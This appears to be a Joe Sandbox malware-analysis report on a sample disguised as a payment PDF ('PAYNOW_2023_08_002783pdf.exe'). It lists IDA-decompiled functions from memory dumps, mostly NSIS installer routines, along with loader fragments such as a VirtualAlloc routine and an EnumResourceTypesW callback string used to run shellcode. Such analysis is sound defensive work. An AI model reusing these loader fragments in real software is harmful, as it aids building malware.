Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a357815caa22b29245d1e02f7c0248ffd2fa48b60e0916a025922a9b4f4adc29
Instruction ID: 6715538d289e38205374ea696a131cd8df343f1122429e05007e29c45ed295f3
Opcode Fuzzy Hash: a357815caa22b29245d1e02f7c0248ffd2fa48b60e0916a025922a9b4f4adc29
Instruction Fuzzy Hash: 8EF022B1D1CA80DECB60CFA8A6847063EF1BF1A355B11456AE178D7241F37458468B11

Uniqueness

Uniqueness Score: -1.00%

Function 004023E0 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004023E0(char __ebx) {
				char _t7;
				CHAR* _t8;
				CHAR* _t19;
				void* _t21;
				void* _t24;

				_t7 =  *0x40a010; // 0xa
				 *(_t21 + 0xa) = _t7;
				_t8 = E00402BCE("true");
				 *(_t21 - 0x38) = E00402BCE(0x12);
				GetPrivateProfileStringA(_t8,  *(_t21 - 0x38), _t21 + 0xa, _t19, 0x3ff, E00402BCE(0xffffffdd)); // executed
				_t24 =  *_t19 - 0xa;
				if(_t24 == 0) {
					 *((intOrPtr*)(_t21 - 4)) = 1;
					 *_t19 = __ebx;
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x004023e0
0x004023e8
0x004023ec
0x004023fc
0x00402413
0x00402419
0x0040173b
0x00402793
0x0040279a
0x0040279a
0x00402a5d
0x00402a69

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402413

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: b20ff68c1f91e8945650ad06eb6636fe2efcf37a6f72d7170e5f25b2e3b7c808
Instruction ID: ec2b9ed2aa8753cc56e49b6d1f5b0ead50a941972cde74363bc07da0fbfd84e4
Opcode Fuzzy Hash: b20ff68c1f91e8945650ad06eb6636fe2efcf37a6f72d7170e5f25b2e3b7c808
Instruction Fuzzy Hash: 40E04630904208BAEB006FA08E09EAD3A79EF01710F20003AF9617B0D1E6B89482D72E

Uniqueness

Uniqueness Score: -1.00%

Function 00404191 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404191(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x423ef8; // 0x103c6
				if(_t2 != 0) {
					_t3 = SendMessageA(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x00404191
0x00404198
0x004041a3
0x00000000
0x004041a3
0x004041a9

APIs

SendMessageA.USER32(000103C6,00000000,00000000,00000000), ref: 004041A3

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9a349a504fb0886c84c083efb4d5a0f9bf7be7ebc5d16bd7850478614cc17ce1
Instruction ID: 08778a02c31aee6c5ab49ec4881ce5c4c543093ca08d36e97cfe9cc2b9e67ff3
Opcode Fuzzy Hash: 9a349a504fb0886c84c083efb4d5a0f9bf7be7ebc5d16bd7850478614cc17ce1
Instruction Fuzzy Hash: BCC04CB57446017FEA208B609D49F0677686750701F2544297250B60D0C6B8D460D61C

Uniqueness

Uniqueness Score: -1.00%

Function 0040417A Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040417A(int _a4) {
				long _t2;

				_t2 = SendMessageA( *0x424728, 0x28, _a4, "true"); // executed
				return _t2;
			}

0x00404188
0x0040418e

APIs

SendMessageA.USER32(00000028,?,?,00403FAA), ref: 00404188

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4b8775389032d73bb0cdc78c7cec40c6840668cae09c009f0c0f7bab9180220a
Instruction ID: 12fa0bd368318515ea3e07217fdd1357908c491f7ba982cdf3d5e787ac9e46f9
Opcode Fuzzy Hash: 4b8775389032d73bb0cdc78c7cec40c6840668cae09c009f0c0f7bab9180220a
Instruction Fuzzy Hash: C5B09236284A00ABDE218B10DE09F457AA2E7A8742F028028B240240B0CAB200A1EB08

Uniqueness

Uniqueness Score: -1.00%

Function 004032CA Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004032CA(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x004032d8
0x004032de

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403066,?), ref: 004032D8

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction ID: eadcf480fe67690f272c505b4903882a1233053cb438a9b9796e5ea94341b5dd
Opcode Fuzzy Hash: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction Fuzzy Hash: 25B09231140200AADA215F409E09F057B21AB94700F208424B244280F086712025EA0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404167 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404167(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x420d24, _a4); // executed
				return _t2;
			}

0x00404171
0x00404177

APIs

KiUserCallbackDispatcher.NTDLL(?,00403F43), ref: 00404171

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 36152b0dcf1d80259a477477ce8a6ba5700b6154f7d802f5e94468563093d619
Instruction ID: f56e5b77852c123102009bf48c8e97640dd16861c460b72fc417a08543d31c29
Opcode Fuzzy Hash: 36152b0dcf1d80259a477477ce8a6ba5700b6154f7d802f5e94468563093d619
Instruction Fuzzy Hash: 5AA01132000000AFCA02AB80EF08C0ABBB2ABA8300B008838A280800328B322820EB08

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB2A38 Relevance: 1.4, APIs: 1, Instructions: 143
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E6ECB2A38(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x6ecb4040 != 0 && E6ECB297D(_a4) == 0) {
					 *0x6ecb4044 = _t93;
					if( *0x6ecb403c != 0) {
						_t93 =  *0x6ecb403c;
					} else {
						E6ECB2F60(E6ECB2977(), __ecx);
						 *0x6ecb403c = _t93;
					}
				}
				_t28 = E6ECB29AB(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E6ECB299F();
					_t72 = _a4;
					_t79 =  *0x6ecb4048;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x6ecb4048 = _t72;
					E6ECB2999();
					_t33 = VirtualAlloc(??, ??, ??, ??); // executed
					 *0x6ecb401c = _t33;
					 *0x6ecb4020 = _t79;
					if( *0x6ecb4040 != 0 && E6ECB297D( *0x6ecb4048) == 0) {
						 *0x6ecb403c = _t94;
						_t94 =  *0x6ecb4044;
					}
					_t80 =  *0x6ecb4048;
					_a4 = _t80;
					 *0x6ecb4048 =  *((intOrPtr*)(E6ECB299F() + _t80));
					_t37 = E6ECB298B(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E6ECB29AB(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E6ECB29B6() + _a4 + _v8);
							_push(E6ECB29C0());
							if( *0x6ecb4040 <= 0 || E6ECB297D(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x6ecb403c =  *0x6ecb403c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x6ecb4048;
					if( *0x6ecb4048 == 0) {
						 *0x6ecb403c = 0;
					}
					E6ECB29E4(_t107, _a4,  *0x6ecb401c,  *0x6ecb4020);
					return _a4;
				}
				_push(E6ECB29B6() + _a4);
				_t56 = E6ECB29BC();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E6ECB29C8();
				_t87 = E6ECB29C4();
				_t90 = E6ECB29C0();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x6ecb2a48
0x6ecb2a59
0x6ecb2a66
0x6ecb2a7a
0x6ecb2a68
0x6ecb2a6d
0x6ecb2a72
0x6ecb2a72
0x6ecb2a66
0x6ecb2a83
0x6ecb2a88
0x6ecb2a8e
0x6ecb2ad2
0x6ecb2ad2
0x6ecb2ad7
0x6ecb2adc
0x6ecb2ae2
0x6ecb2ae4
0x6ecb2aea
0x6ecb2af7
0x6ecb2af9
0x6ecb2afe
0x6ecb2b0b
0x6ecb2b1e
0x6ecb2b24
0x6ecb2b2a
0x6ecb2b2b
0x6ecb2b31
0x6ecb2b3d
0x6ecb2b43
0x6ecb2b4b
0x6ecb2b4c
0x6ecb2b4f
0x6ecb2b5a
0x6ecb2b5c
0x6ecb2b68
0x6ecb2b6e
0x6ecb2b76
0x6ecb2ba2
0x6ecb2ba3
0x6ecb2ba5
0x6ecb2ba9
0x6ecb2ba9
0x6ecb2bb0
0x6ecb2b86
0x6ecb2b86
0x6ecb2b87
0x6ecb2b95
0x6ecb2b9e
0x6ecb2b9e
0x6ecb2b76
0x6ecb2b5a
0x6ecb2bb2
0x6ecb2bb9
0x6ecb2bbb
0x6ecb2bbb
0x6ecb2bd4
0x6ecb2be2
0x6ecb2be2
0x6ecb2a99
0x6ecb2a9a
0x6ecb2a9f
0x6ecb2aa3
0x6ecb2aa8
0x6ecb2abc
0x6ecb2abd
0x6ecb2abe
0x6ecb2ac0
0x6ecb2ac5
0x6ecb2ac7
0x6ecb2ac7
0x6ecb2aca
0x6ecb2ad0
0x00000000

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 6ECB2AF7

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13bf3b4fe6b61472375f898e9223264f890a7dd69f3520af73c0771fdd9f83ca
Instruction ID: 39124ea4f104b58708c757cec713cc2e2b85b61b0e2ccb81bc2ad656d0be5b07
Opcode Fuzzy Hash: 13bf3b4fe6b61472375f898e9223264f890a7dd69f3520af73c0771fdd9f83ca
Instruction Fuzzy Hash: 10416F72D08604DFDF28DFE5E9A0B993778FB06318F104C29E419C7214FB3498928BA1

Uniqueness

Uniqueness Score: -1.00%

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D6(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402BAC(_t7);
				 *((intOrPtr*)(_t13 - 0x38)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d6
0x004014d7
0x004014e0
0x004014e3
0x004014e7
0x004014e7
0x004014e9
0x00402a5d
0x00402a69

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1b443bf0d727d57298d8857cd11a567a68dfce872be13232ccc9a2637e56550a
Instruction ID: ccf032fc60ebbebe8df404728041cac6d4b3f067c56570227f7a4de3c3b7a55a
Opcode Fuzzy Hash: 1b443bf0d727d57298d8857cd11a567a68dfce872be13232ccc9a2637e56550a
Instruction Fuzzy Hash: ABD05E73B10100DBD720EBB8BAC445E77E8EB803263318837E402E2091E679C8424628

Uniqueness

Uniqueness Score: -1.00%

Function 00405A84 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A84(CHAR* _a4, intOrPtr _a8) {
				CHAR* _t3;
				char _t4;

				_t3 = _a4;
				while(1) {
					_t4 =  *_t3;
					if(_t4 == 0) {
						break;
					}
					if(_t4 != _a8) {
						_t3 = CharNextA(_t3); // executed
						continue;
					}
					break;
				}
				return _t3;
			}

0x00405a84
0x00405a97
0x00405a97
0x00405a9b
0x00000000
0x00000000
0x00405a8e
0x00405a91
0x00000000
0x00405a91
0x00000000
0x00405a8e
0x00405a9d

APIs

CharNextA.USER32(?,0040341F,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",00000020,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",00000000,?,?,?,0000000B), ref: 00405A91

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 1083c57b7f4745178c71a6651c3ca9c923e8efe26efc9521b350556c87d1c9f6
Instruction ID: 39cac59023038159126fc1e23455b653d116e047291fdb9b1b5fa16aa0025868
Opcode Fuzzy Hash: 1083c57b7f4745178c71a6651c3ca9c923e8efe26efc9521b350556c87d1c9f6
Instruction Fuzzy Hash: 43C08030208B515BC510475041648777FE0EA92340F24455BF4C4A3150C23458448F35

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB1215 Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6ECB1215() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x6ecb405c); // executed
				return _t1;
			}

0x6ecb121d
0x6ecb1223

APIs

GlobalAlloc.KERNELBASE(00000040,6ECB1233,?,6ECB12CF,-6ECB404B,6ECB11AB,-000000A0), ref: 6ECB121D

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: e78fe3068c94cfd2e5afa3347f04fd16056d5ac8ed890db764a6443bf5572771
Instruction ID: c4cd5ea80c7c0d57523ab3aee9fd0ab96da0edcc1553290977ef12797a1ab65f
Opcode Fuzzy Hash: e78fe3068c94cfd2e5afa3347f04fd16056d5ac8ed890db764a6443bf5572771
Instruction Fuzzy Hash: 56A00271D48900DBDE419BE4AF4EF143B31FF4A701F008040E33554194D7B54811DB39

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004045D7 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 274
stringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004045D7(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed char _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed char* _t160;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;
				void* _t205;

				_t156 = __edx;
				_t82 =  *0x420500; // 0x6ae664
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + "kernel32::EnumResourceTypesW(i0,ir1,i0)";
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E004057C1(0x3fb, _t146);
					E0040639C(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004057C1(0x3fb, _t146);
							if(E00405B47(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E004060C1(0x41fcf8, _t146);
							_t87 = E004064CA("true");
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E004060C1(0x41fcf8, _t146);
								_t89 = E00405AF2(0x41fcf8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41fcf8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41fcf8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41fcf8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405AA0(0x41fcf8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160 - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41fcf8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E00404A6B("true");
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x423efc; // 0x6b03ef
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404A53(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41fce8);
									} else {
										E0040498E(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x4247e4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B("true");
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00404167(0 | _v8 == _t158);
								if(_v8 == _t158) {
									_t205 =  *0x420d18 - _t158; // 0x0
									if(_t205 == 0) {
										E00404530();
									}
								}
								 *0x420d18 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_push("true");
							_pop(_t152);
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x420d28;
							_v60 = E00404928;
							_v56 = _t146;
							_v68 = E00406154(_t146, 0x420d28, _t166, 0x420100, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405A59(_t146);
								_t125 =  *((intOrPtr*)( *0x424734 + 0x11c));
								if( *((intOrPtr*)( *0x424734 + 0x11c)) != 0 && _t146 == "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr") {
									E00406154(_t146, 0x420d28, _t166, 0, _t125);
									if(lstrcmpiA(0x4236c0, 0x420d28) != 0) {
										lstrcatA(_t146, 0x4236c0);
									}
								}
								 *0x420d18 =  *0x420d18 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
